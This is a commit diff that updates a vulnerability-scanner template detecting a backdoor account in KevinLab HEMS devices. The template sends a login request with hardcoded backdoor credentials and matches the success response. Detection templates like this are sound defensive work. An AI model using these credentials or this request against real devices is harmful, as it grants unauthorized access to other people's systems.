minor update

vulnerabilities/other/kevinlab-hems-backdoor.yaml

@@ -13,24 +13,24 @@ requests:
       - |
         POST /dashboard/proc.php?type=login HTTP/1.1
         Host: {{Hostname}}
-        Accept: application/json, text/javascript, */*; q=0.01
-        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
         Content-Type: application/x-www-form-urlencoded; charset=UTF-8
         Accept-Encoding: gzip, deflate
-        Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
         Connection: close
 
         userid=kevinlab&userpass=kevin003
 
     matchers-condition: and
-    req-condition: true
     matchers:
-      - type: dsl
-        dsl:
-          - "!contains(body_1, 'alert')"
-          - "contains(body_1, 'meta http-equiv')"
-        condition: and
 
       - type: status
         status:
           - 200
+
+      - type: word
+        words:
+          - '<meta http-equiv="refresh" content="0; url=/"></meta>'
+
+      - type: word
+        words:
+          - '<script> alert'
+        negative: true